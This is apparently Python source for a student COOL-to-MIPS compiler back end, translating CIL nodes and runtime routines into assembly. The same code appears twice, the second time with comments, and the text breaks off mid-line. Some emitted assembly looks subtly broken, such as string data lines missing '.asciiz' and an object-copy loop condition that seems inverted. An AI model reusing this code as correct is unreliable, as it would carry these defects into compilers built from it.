4($t0)') self.write_file('move $t4 $a0') self.write_file('li $v0 9') self.write_file('syscall') self.write_file('move $t2 $v0') self.write_file('li $t3 0') self.write_file('_objcopy_loop:', tabbed=False) self.write_file('lw $t1 0($t0)') self.write_file('sw $t1 0($v0)') self.write_file('addiu $t0 $t0 4') self.write_file('addiu $v0 $v0 4') self.write_file('addiu $t3 $t3 4') self.write_file('ble $t4 $t3 _objcopy_loop') self.write_file('_objcopy_div_end_:', tabbed=False) self.write_file('move $v0 $t2') self.write_file('jr $ra') self.write_file('') def object_typename(self): self.write_file('function_Object_type_name:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file('move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file('lw $a1 12($fp)') self.write_file('lw $a1 0($a1)') self.write_file('mulu $a1 $a1 4') self.write_file('addu $a1 $a1 $s1') self.write_file('lw $a1 0($a1)') self.write_file('move $a2 $0') self.write_file('move $t2 $a1') self.write_file('_str_len_clsname_:', tabbed=False) self.write_file('lb $a0 0($t2)') self.write_file('beq $a0 $0 _end_clsname_len_') self.write_file('addiu $a2 $a2 1') self.write_file('addiu $t2 $t2 1') self.write_file('j _str_len_clsname_') self.write_file('_end_clsname_len_:', tabbed=False) self.write_file('sw $a2, 12($v0)') self.write_file('sw $v0, 12($v1)') self.write_file('sw $a1, 16($v1)') self.write_file('move $v0 $v1') self.write_file('jr $ra') self.write_file('') def string_length(self): self.write_file('function_String_length:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $a0 12($fp)') self.write_file('lw $v0 12($a0)') self.write_file('jr $ra') self.write_file('') def string_concat(self): self.write_file('function_String_concat:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file('move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file('move $t3 $v0') self.write_file('lw $a1 12($fp)') self.write_file('lw $a2 16($fp)') self.write_file('lw $t1 12($a1)') self.write_file('lw $t1 12($t1)') self.write_file('lw $t2 12($a2)') self.write_file('lw $t2 12($t2)') self.write_file('addu $t0 $t2 $t1') self.write_file('sw $t0 12($v1)') self.write_file('lw $a1 16($a1)') self.write_file('lw $a2 16($a2)') self.write_file('addiu $t0 $t0 1') self.allocate_memory('$t0', register=True) self.write_file('move $t5 $v0') self.write_file('move $t4 $a1') self.write_file('addu $a1 $a1 $t1') self.write_file('_strcat_copy_:', tabbed=False) self.write_file('beq $t4 $a1 _end_strcat_copy_') self.write_file('lb $a0 0($t4)') self.write_file('sb $a0 0($t5)') self.write_file('addiu $t5 $t5 1') self.write_file('addiu $t4 $t4 1') self.write_file('j _strcat_copy_') self.write_file('_end_strcat_copy_:', tabbed=False) self.write_file('move $t4 $a2') self.write_file('addu $a2 $a2 $t2') self.write_file('_strcat_copy_snd_:', tabbed=False) self.write_file('beq $t4 $a2 _end_strcat_copy_snd_') self.write_file('lb $a0 0($t4)') self.write_file('sb $a0 0($t5)') self.write_file('addiu $t5 $t5 1') self.write_file('addiu $t4 $t4 1') self.write_file('j _strcat_copy_snd_') self.write_file('_end_strcat_copy_snd_:', tabbed=False) self.write_file('sb $0 0($t5)') self.write_file('sw $v1 12($t3)') self.write_file('sw $v0 16($t3)') self.write_file('move $v0 $t3') self.write_file('jr $ra') self.write_file('') def string_substr(self): self.write_file('function_String_substr:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file(f'lw $t5 12($fp)') self.write_file(f'lw $a1 16($fp)') self.write_file(f'lw $a1 12($a1)') self.write_file(f'lw $a2 20($fp)') self.write_file(f'lw $a2 12($a2)') self.write_file(f'blt $a1 $0 _index_negative') self.write_file(f'blt $a2 $0 _index_negative') self.write_file(f'add $a2 $a1 $a2') self.write_file(f'lw $a3 12($t5)') self.write_file(f'lw $a3 12($a3)') self.write_file(f'bgt $a2 $a3 _index_out') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file(f'move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file(f'move $t0 $v0') self.write_file(f'move $t7 $a2') self.write_file(f'subu $t7 $t7 $a1') self.write_file(f'sw $t7 12($t0)') self.allocate_memory('$a2', register=True) self.write_file(f'sw $t0 12($v1)') self.write_file(f'sw $v0 16($v1)') self.write_file('move $t1 $v0') self.write_file('lw $t5 16($t5)') self.write_file('move $t4 $t5') self.write_file('addu $t4 $t4 $a1') self.write_file('addu $t5 $t5 $a2') self.write_file('_substr_copy_:', tabbed=False) self.write_file('bge $t4 $t5 _end_substr_copy_') self.write_file('lb $a0 0($t4)') self.write_file('sb $a0 0($t1)') self.write_file('addiu $t1 $t1 1') self.write_file('addiu $t4 $t4 1') self.write_file('j _substr_copy_') self.write_file(f'_index_negative:', tabbed=False) self.write_file(f'la $a0 _index_negative_msg') self.write_file(f'b _subst_abort') self.write_file(f'_index_out:', tabbed=False) self.write_file(f'la $a0 _index_out_msg') self.write_file(f'b _subst_abort') self.write_file(f'_subst_abort:', tabbed=False) self.write_file(f'li $v0 4') self.write_file(f'syscall') self.write_file('la\t$a0 _abort_msg') self.write_file(f'li $v0 4') self.write_file(f'syscall') self.write_file(f'li $v0 10') self.write_file(f'syscall') self.write_file('_end_substr_copy_:', tabbed=False) self.write_file('move $v0 $v1') self.write_file('jr $ra') self.write_file('') def io_in_int(self): self.write_file('function_IO_in_int:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file('move $t0 $v0') self.write_file('li $v0 5') self.write_file('syscall') self.write_file('sw $v0 12($t0)') self.write_file('move $v0 $t0') self.write_file('jr $ra') self.write_file('') def io_in_string(self): self.write_file('function_IO_in_string:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file('move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file('sw $v1 12($v0)') self.write_file('move $t5 $v0') self.write_file('la $a0 str_buffer') self.write_file('li $a1 1025') self.write_file('li $v0 8') self.write_file('syscall') self.write_file('move $a0 $0') self.write_file('la $t2 str_buffer') self.write_file('_in_string_str_len_:', tabbed=False) self.write_file('lb $t0 0($t2)') self.write_file('beq $t0 $0 _end_in_string_str_len_') self.write_file('beq $t0 10 _end_in_string_str_len_') self.write_file('addiu $a0 $a0 1') self.write_file('addiu $t2 $t2 1') self.write_file('j _in_string_str_len_') self.write_file('_end_in_string_str_len_:', tabbed=False) self.write_file('sw $a0 12($v1)') self.allocate_memory() self.write_file('la $t4 str_buffer') self.write_file('move $t1 $v0') self.write_file('_in_str_copy_:', tabbed=False) self.write_file('lb $t0 0($t4)') self.write_file('beq $t0 $0 _end_in_str_copy_') self.write_file('beq $t0 10 _end_in_str_copy_') self.write_file('sb $t0 0($t1)') self.write_file('addiu $t4 $t4 1') self.write_file('addiu $t1 $t1 1') self.write_file('j _in_str_copy_') self.write_file('_end_in_str_copy_:', tabbed=False) self.write_file('sw $v0 16($t5)') self.write_file('la $t4 str_buffer') self.write_file('_in_str_clean_:', tabbed=False) self.write_file('lb $t0 0($t4)') self.write_file('beq $t0 $0 _end_in_str_clean_') self.write_file('sb $0 0($t4)') self.write_file('addiu $t4 $t4 1') self.write_file('j _in_str_clean_') self.write_file('_end_in_str_clean_:', tabbed=False) self.write_file('move $v0 $t5') self.write_file('jr $ra') self.write_file('') def io_out_int(self): self.write_file('function_IO_out_int:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $a0 16($fp)') self.write_file('lw $a0 12($a0)') self.write_file('li $v0 1') self.write_file('syscall') self.write_file('lw $v0 12($fp)') self.write_file('jr $ra') self.write_file('') def io_out_string(self): self.write_file('function_IO_out_string:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $a0 16($fp)') self.write_file('lw $a0 16($a0)') self.write_file('li $v0 4') self.write_file('syscall') self.write_file('lw $v0 12($fp)') self.write_file('jr $ra') self.write_file('') def conforms(self): self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file(f'lw $t0 12($fp)') self.write_file(f'lw $t1 16($fp)') self.write_file( f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_' ) self.write_file('_conforms_loop_:', tabbed=False) self.write_file('beq $t0 $t1 _conforms_ret_true_') self.write_file( f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_' ) self.write_file('mulu $t0 $t0 4') self.write_file('addu $t0 $t0 $s2') self.write_file('lw $t0 0($t0)') self.write_file('j _conforms_loop_') self.write_file('_conforms_ret_true_:', tabbed=False) self.write_file('li $v0 1') self.write_file('j _conforms_ret_') self.write_file('_conforms_ret_false_:', tabbed=False) self.write_file('li $v0 0') self.write_file('_conforms_ret_:') self.write_file('jr $ra') self.write_file('') def isvoid(self): self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS)) self.write_file(f'lw $t0 12($fp)') self.write_file(f'la $t1 {VOID_MIPS_NAME}') self.write_file(f'beq $t0 $t1 _is_void_true_') self.write_file(f'sw $0 12($v0)') self.write_file(f'j _is_void_end_') self.write_file(f'_is_void_true_:', tabbed=False) self.write_file(f'li $t0 1') self.write_file(f'sw $t0 12($v0)') self.write_file(f'_is_void_end_:', tabbed=False) self.write_file(f'jr $ra') self.write_file(f'')
""" Registers $v0 and $v1 are used to return values from functions. Registers $t0 – $t9 are caller-saved registers that are used to hold temporary quantities that need not be preserved across calls Registers $s0 – $s7 (16–23) are callee-saved registers that hold long-lived values that should be preserved across calls. They are preserved across calls Register $gp is a global pointer that points to the middle of a 64K block of memory in the static data segment. Preserve across calls Register $fp is the frame pointer. Register $fp is saved by every procedure that allocates a new stack frame.Preserve across calls Register $sp is the stack pointer, which points to the last location on the stack(Points to Free Memory). Preserve across calls Register $ra only needs to be saved if the callee itself makes a call. Register $s0 <- Prototypes table Register $s1 <- Class Names table Register $s2 <- Class parents table 0($fp): some local variable 4(%fp): old $ra 8(%fp): old $fp 12(%fp): 1st argument Self ..... Class Name table layout offset 0 - "Class1" offset 4 - "Class2" offset 8 - "Class3" ..... Prototypes Table layout offset 0 - protObj1 offset 4 - Obj1_init offset 8 - protObj2 offset 12 - Obj2_init ..... Dispatch Table layout: offset 0 - addres of method m0 offset 1 - addres of method m1 ..... Prototype layout: offset 0 - Class tag : int that identifies the class of the object offset 4 - Object size :(in 32-bit words) = 12 + 4 * (number of attributes) offset 8 - Dispatch pointer : pointer to the table of virtual methods offset 12. . . Attributes """ import sys sys.path.append('..') import commons.cil_ast as cil import commons.visitor as visitor from commons.settings import * class MipsVisitor: """ Mips Visitor Class. This visitor will process the AST of the generated CIL and write the mips code to a file. """ def __init__(self, inherit_graph, output_file="mips_code.mips"): self.inherit_graph, _ = inherit_graph self.offset = dict() self.type_index = [] self.dispatchtable_code = [] self.prototypes_code = [] self.cur_labels_id = 0 self.output_file = output_file # ====================================================================== # =[ UTILS ]============================================================ # ====================================================================== def push(self): self.write_file('sw $a0 0($sp)') self.write_file('addiu $sp $sp -4') def pop(self, dest=None): self.write_file(f'addiu $sp $sp 4') def write_file(self, msg, mode = "a", tabbed=True): f = open(self.output_file, mode) f.write("{}{}\n".format("\t" if tabbed else "", msg)) f.close() def allocate_memory(self, size=None, register=False): if register: self.write_file('move $a0 {}'.format(size)) else: if size: self.write_file('li $a0 {}'.format(size)) self.write_file('li $v0 9') self.write_file('syscall') def new_labels_id(self): self.cur_labels_id += 1 return self.cur_labels_id # ====================================================================== @visitor.on('node') def visit(self, node): pass ################################ PROGRAM ##################################### @visitor.when(cil.Program) def visit(self, node: cil.Program): self.write_file('', "w") #-------------------- DATA SECTION ---------------------------- self.write_file('.data', tabbed = False) # Declare static data self.static_datas() # Transpile CIL data section for data in node.data_section: self.visit(data) self.write_file('') # Declare class name strings and map class index for i in range(len(node.type_section)): self.type_index.append(node.type_section[i].type_name) self.write_file('classname_{}: .asciiz \"{}\"'.format(node.type_section[i].type_name,node.type_section[i].type_name)) # Declare void type self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"') #-------------------- TEXT SECTION ---------------------------- self.write_file('\n.text') self.entry() self.write_file('\n########## STATIC FUNCTIONS ##########\n') # CONFORMS self.conforms() # IS_VOID self.isvoid() # OBJECT self.object_abort() self.object_copy() self.object_typename() # STRING self.string_length() self.string_concat() self.string_substr() # IO self.io_in_int() self.io_in_string() self.io_out_int() self.io_out_string() for t in node.type_section: self.visit(t) self.write_file('\n############## TABLES ################\n') # Generate method that creates classes's name table self.write_file('function_build_class_name_table:', tabbed=False) self.allocate_memory(len(node.type_section) * 4) self.write_file('move $s1 $v0') # save the address of the table in a register for i in range(len(node.type_section)): self.write_file('la $t1 classname_{}'.format(node.type_section[i].type_name)) self.write_file('sw $t1 {}($s1)'.format(4 * i)) self.write_file('') # Generate method that allocates memory for prototypes table self.write_file('function_allocate_prototypes_table:', tabbed=False) self.allocate_memory(8 * len(self.type_index)) self.write_file('move $s0 $v0') # save the address of the table in a register self.write_file('') # Generate mips method that builds prototypes self.write_file('function_build_prototypes:', tabbed=False) for ins in self.prototypes_code: self.write_file(ins) self.write_file('') # Generate mips method that builds dispatch tables self.write_file('function_build_dispatch_tables:', tabbed=False) for ins in self.dispatchtable_code: self.write_file(ins) self.write_file('') # Generate method that builds class parents table self.write_file('function_build_class_parents_table:', tabbed=False) self.allocate_memory(4 * len(self.type_index)) self.write_file('move $s2 $v0') # save the address of the table in a register self.write_file('') # Fill table entry for each class type for parent in self.inherit_graph.keys(): p_index = self.type_index.index(parent) for child in self.inherit_graph[parent]: ch_index = self.type_index.index(child.name) self.write_file(f'li $t0 {ch_index}') self.write_file(f'mul $t0 $t0 4') self.write_file(f'add $t0 $t0 $s2') self.write_file(f'li $t1 {p_index}') self.write_file(f'sw $t1 0($t0)') self.write_file('') self.write_file('') # Generate COOL functions self.write_file('\n########### COOL FUNCTIONS ##########\n') for func in node.code_section: is_built_in = False if not INIT_CIL_SUFFIX in func.name: is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in func.name] != [] if not is_built_in: self.visit(func) self.write_file('\n#####################################\n') ################################ .DATA ####################################### @visitor.when(cil.Data) def visit(self, node: cil.Data): self.write_file(f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"') ################################ TYPES ####################################### @visitor.when(cil.Type) def visit(self, node: cil.Type): # Allocate self.dispatchtable_code.append(f'# Type {node.type_name}') self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.methods))) self.dispatchtable_code.append('li $v0 9') self.dispatchtable_code.append('syscall') # Add dispatch table code for i in range(len(node.methods)): self.dispatchtable_code.append('la $t1 function_{}'.format(node.methods[i].function_name)) self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i)) self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.type_index.index(node.type_name))) self.dispatchtable_code.append('sw $v0 8($t0)') self.dispatchtable_code.append('') # Allocate self.prototypes_code.append(f'# Type {node.type_name}') self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.attributes))) self.prototypes_code.append('li $v0 9') self.prototypes_code.append('syscall') # Add prototype code class_index = self.type_index.index(node.type_name) self.prototypes_code.append('li $a0 {}'.format(class_index)) self.prototypes_code.append('sw $a0 0($v0)') self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.attributes))) self.prototypes_code.append('sw $a0 4($v0)') self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index)) self.prototypes_code.append('') @visitor.when(cil.Function) def visit(self, node: cil.Function): self.write_file(f'function_{node.name}:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}') # Register arguments offsets for i in range(len(node.args)): self.offset[node.args[i].name] = 12 + i * 4 # Register locals offsets for i in range(len(node.vlocals)): self.offset[node.vlocals[i].name] = i * (-4) # Generate mips code for the function's body for inst in node.body: # Equal node needs unique id for its labels if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div): inst.id = self.new_labels_id() self.visit(inst) # Pop the stack frame self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}') # Return self.write_file('jr $ra') self.write_file('') ############################## ASSIGNMENT #################################### @visitor.when(cil.Assign) def visit(self, node: cil.Assign): self.write_file('# ASSIGN') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source])) self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') ############################# ARITHMETICS #################################### @visitor.when(cil.Plus) def visit(self, node: cil.Plus): self.write_file('# +') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file('add $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.Minus) def visit(self, node: cil.Minus): self.write_file('# -') if isinstance(node.left, int): self.write_file('li $a0 {}'.format(node.left)) else: self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file('sub $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.Mult) def visit(self, node: cil.Mult): self.write_file('# *') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file('mul $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.Div) def visit(self, node: cil.Div): self.write_file('# /') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file(f'beqz $a1 _div_error_{node.id}_') self.write_file('div $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file(f'b _div_end_{node.id}_') self.write_file(f'_div_error_{node.id}_:',tabbed=False) self.write_file('la $a0 _div_zero_msg') self.write_file('li $v0 4') self.write_file('syscall') self.write_file('la $a0 _abort_msg') self.write_file('li $v0 4') self.write_file('syscall') self.write_file('li $v0 10') self.write_file('syscall') self.write_file(f'_div_end_{node.id}_:',tabbed=False) ############################# COMPARISONS #################################### @visitor.when(cil.Equal) def visit(self, node: cil.Equal): self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left])) self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right])) self.write_file(f'beq $t0 $zero _eq_false_{node.id}_') # $t0 can't also be void self.write_file(f'beq $t1 $zero _eq_false_{node.id}_') # $t1 can't also be void self.write_file('lw $a0 0($t0)') # get object 1 tag self.write_file('lw $a1 0($t1)') # get object 2 tag self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') # compare tags self.write_file('li $a2 {}'.format(self.type_index.index(INTEGER_CLASS))) # load int tag self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') # Integers self.write_file('li $a2 {}'.format(self.type_index.index(BOOLEAN_CLASS))) # load bool tag self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') # Booleans self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))) # load string tag self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_') # Not a primitive type # equal strings # verify len of the strings self.write_file(f'_eq_str_{node.id}_:', tabbed = False) # handle strings self.write_file('lw $t3 12($t0)') # get string_1 size self.write_file('lw $t3 12($t3)') # unbox string_1 size self.write_file('lw $t4, 12($t1)') # get string_2 size self.write_file('lw $t4, 12($t4)') # unbox string_2 size self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_') # string size are distinct self.write_file(f'beq $t3 $0 _eq_true_{node.id}_') # if strings are empty # Verify ascii secuences self.write_file('addu $t0 $t0 16') # Point to start of string s1 self.write_file('lw $t0 0($t0)') self.write_file('addu $t1 $t1 16') # Point to start of string s2 self.write_file('lw $t1 0($t1)') self.write_file('move $t2 $t3') # Keep string length as counter self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed = False) self.write_file('lb $a0 0($t0)') # get char of s1 self.write_file('lb $a1 0($t1)') # get char of s2 self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') # char s1 /= char s2 self.write_file('addu $t0 $t0 1') self.write_file('addu $t1 $t1 1') self.write_file('addiu $t2 $t2 -1') # Decrement counter self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_') self.write_file(f'b _eq_true_{node.id}_') # end of strings self.write_file(f'_not_basic_type_{node.id}_:', tabbed = False) self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_') self.write_file(f'b _eq_true_{node.id}_') # equal int or boolf self.write_file(f'_eq_int_bool_{node.id}:', tabbed = False) # handles booleans and ints self.write_file('lw $a3 12($t0)') # load value variable_1 self.write_file('lw $t4 12($t1)') # load variable_2 self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_') # value of int or bool are distinct #return true self.write_file(f'_eq_true_{node.id}_:', tabbed = False) self.write_file('li $a0 1') self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest])) self.write_file(f'b end_equal_{node.id}_') #return false self.write_file(f'_eq_false_{node.id}_:', tabbed = False) self.write_file('li $a0 0') self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest])) self.write_file(f'end_equal_{node.id}_:', tabbed = False) @visitor.when(cil.LessThan) def visit(self, node: cil.LessThan): self.write_file('# <') self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right])) self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right])) self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.EqualOrLessThan) def visit(self, node: cil.EqualOrLessThan): self.write_file('# <=') self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right])) self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right])) self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') ############################## ATTRIBUTES #################################### @visitor.when(cil.GetAttrib) def visit(self, node: cil.GetAttrib): self.write_file('# GETATTR') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)') self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.SetAttrib) def visit(self, node: cil.SetAttrib): self.write_file('# SETATTR') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') if isinstance(node.src, int): self.write_file(f'li $a0, {node.src}') elif node.src[:5] == "data_": self.write_file(f'la $a0, {node.src}') else: self.write_file(f'lw $a0 {self.offset[node.src]}($fp)') self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)') self.write_file('') ################################ MEMORY ###################################### @visitor.when(cil.TypeOf) def visit(self, node: cil.TypeOf): self.write_file('# TYPEOF') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') self.write_file(f'lw $a0 0($a1)') self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.Allocate) def visit(self, node: cil.Allocate): self.write_file('# ALLOCATE') if node.ttype == VOID_TYPE: self.write_file(f'la $v0 {VOID_MIPS_NAME}') self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') else: offset_proto = self.type_index.index(node.ttype) * 8 self.write_file('lw $t0 {}($s0)'.format(offset_proto)) self.write_file('sw $t0, 0($sp)') self.write_file('addiu $sp, $sp, -4') self.write_file('') self.visit(cil.Call(dest = node.dest, f = "Object_copy")) self.write_file('addiu $sp, $sp, 4') self.write_file('') ########################## DISPATCH STATEMENTS ############################### @visitor.when(cil.Call) def visit(self, node: cil.Call): self.write_file('# CALL') # Save return address and frame pointer self.write_file(f'addiu $sp, $sp, -8') self.write_file(f'sw $ra, 4($sp)') self.write_file(f'sw $fp, 8($sp)') # Call the function self.write_file(f'jal function_{node.f}') # Restore return address and frame pointer self.write_file(f'lw $fp, 8($sp)') self.write_file(f'lw $ra, 4($sp)') self.write_file(f'addiu $sp, $sp, 8') if node.dest: self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.VCall) def visit(self, node: cil.VCall): self.write_file('# VCALL') # Save return address and frame pointer self.write_file(f'addiu $sp, $sp, -8') self.write_file(f'sw $ra, 4($sp)') self.write_file(f'sw $fp, 8($sp)') if node.ttype[0] == "_": # If node.type is a local CIL variable self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)') else: # If node.type a type name self.write_file(f'li $a2, {self.type_index.index(node.ttype)}') self.write_file(f'mulu $a2, $a2, 8') self.write_file(f'addu $a2, $a2, $s0') self.write_file(f'lw $a1, 0($a2)') # Check the dispatch table for the method's address self.write_file(f'lw $a2, 8($a1)') self.write_file(f'lw $a0 {node.f * 4}($a2)') # Call the function at 0($a0) self.write_file(f'jalr $a0') # Restore return address and frame pointer self.write_file(f'lw $fp, 8($sp)') self.write_file(f'lw $ra, 4($sp)') self.write_file(f'addiu $sp, $sp, 8') # Save value after restoring $fp self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') # Check prototypes table for the dynamic type if node.ttype[0] != '_': self.write_file(f'li $a2, {self.type_index.index(node.ttype)}') else: self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)') self.write_file('') @visitor.when(cil.PushParam) def visit(self, node: cil.PushParam): self.write_file('# PUSHPARAM') if node.name[0] != "_": self.write_file('li $a0, {}'.format(self.type_index.index(node.name))) else: self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name])) self.push() self.write_file('') @visitor.when(cil.PopParam) def visit(self, node: cil.PopParam): self.write_file('# POPPARAM') self.pop(node.name) self.write_file('') @visitor.when(cil.Return) def visit(self, node: cil.Return): self.write_file('# RETURN') self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value])) ################################# JUMPS ###################################### @visitor.when(cil.Label) def visit(self, node: cil.Label): self.write_file('_cil_label_{}:'.format(node.name), tabbed=False) @visitor.when(cil.Goto) def visit(self, node: cil.Goto): self.write_file('# GOTO') self.write_file('j _cil_label_{}'.format(node.label)) self.write_file('') @visitor.when(cil.IfGoto) def visit(self, node: cil.IfGoto): self.write_file('# IF GOTO') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition])) self.write_file('bnez $a0, _cil_label_{}'.format(node.label)) self.write_file('') ############################## STATIC CODE ################################### #----- STATIC DATAs def static_datas(self): # Buffer for reading strings self.write_file('str_buffer: .space 1025') self.write_file('') # Declare error mensages self.write_file('_index_negative_msg: .asciiz \"Index to substr is negative\\n\"') self.write_file('_index_out_msg: .asciiz \"Index out range exception\\n\"') self.write_file('_abort_msg: \"Execution aborted\\n\"') self.write_file('_div_zero_msg: \"Division by zero exception\\n\"') self.write_file('') #----- ENTRY FUNCTION def entry(self): self.write_file('entry:', tabbed=False) self.visit(cil.Call(dest = None, f = 'build_class_name_table')) self.visit(cil.Call(dest = None, f = 'allocate_prototypes_table')) self.visit(cil.Call(dest = None, f = 'build_prototypes')) self.visit(cil.Call(dest = None, f = 'build_dispatch_tables')) self.visit(cil.Call(dest = None, f = 'build_class_parents_table')) self.visit(cil.Allocate(dest = None, ttype = 'Main')) # Push main self self.write_file('sw $v0 0($sp)') self.write_file('addiu $sp $sp -4') self.visit(cil.Call(dest = None, f = f'Main_{INIT_CIL_SUFFIX}')) self.write_file('addiu $sp $sp 4') # Push main self self.write_file('sw $v0 0($sp)') self.write_file('addiu $sp $sp -4') self.visit(cil.Call(dest = None, f = 'Main_main')) self.write_file('addiu $sp $sp 4') self.write_file('li $v0 10') self.write_file('syscall') #----- OBJECT METHODS def object_abort(self): self.write_file('function_Object_abort:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file('jr $ra') self.write_file('') def object_copy(self): self.write_file('function_Object_copy:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file('lw $t0 12($fp)')# recoger la instancia a copiar self.write_file('lw $a0 4($t0)') self.write_file('move $t4 $a0') self.write_file('li $v0 9') self.write_file('syscall')# guarda en v0 la direccion de memoria que se reservo self.write_file('move $t2 $v0')# salvar la direccion donde comienza el objeto self.write_file('li $t3 0') # size ya copiado self.write_file('_objcopy_loop:', tabbed=False) self.write_file('lw $t1 0($t0)') # cargar la palabra por la que voy self.write_file('sw $t1 0($v0)') # copiar la palabra self.write_file('addiu $t0 $t0 4') # posiciona el puntero en la proxima palabra a copiar self.write_file('addiu $v0 $v0 4') # posiciona el puntero en la direccion donde copiar la proxima palabra self.write_file('addiu $t3 $t3 4') # actualizar el size copiado self.write_file('ble $t4 $t3 _objcopy_loop') # verificar si la condicion es igual o menor igual self.write_file('_objcopy_div_end_:', tabbed=False) self.write_file('move $v0 $t2') # dejar en v0 la direccion donde empieza el nuevo objeto self.write_file('jr $ra') self.write_file('') def object_typename(self): self.write_file('function_Object_type_name:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') # Box the string reference self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS)) # Create new String object self.write_file('move $v1 $v0') # Box string's length self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS) ) # Create new Int object self.write_file('lw $a1 12($fp)') # self self.write_file('lw $a1 0($a1)') self.write_file('mulu $a1 $a1 4') # self's class tag self.write_file('addu $a1 $a1 $s1') # class name table entry address self.write_file('lw $a1 0($a1)') # Get class name address self.write_file('move 